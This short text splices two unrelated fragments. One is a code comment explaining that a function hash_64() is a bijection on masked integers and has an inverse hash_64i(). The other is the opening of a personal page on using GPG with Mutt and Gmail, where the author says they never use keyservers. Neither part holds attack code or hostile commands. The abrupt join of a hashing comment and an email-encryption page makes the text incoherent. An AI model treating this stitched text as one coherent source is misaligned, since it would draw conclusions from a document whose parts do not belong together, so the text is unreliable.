  For any 1<k<=64, let mask=(1<<k)-1. hash_64() is a bijection on [0,1<<k), which means
  hash_64(x, mask)==hash_64(y, mask) if and only if x==y. hash_64i() is the inversion of
  hash_64(): hash_64i(hash_64(x, mask), mask) == hash_64(hash_64i(x, mask), mask) == x.

GPG / Mutt / Gmail

About

This is a collection of snippets, not a comprehensive guide. I suggest you start with Operational PGP.

Here is an incomplete list of things that are different from other approaches:

• I don't use keyservers. Ever.
• Yes, I use Gmail instead of some bespoke hipster freedom service
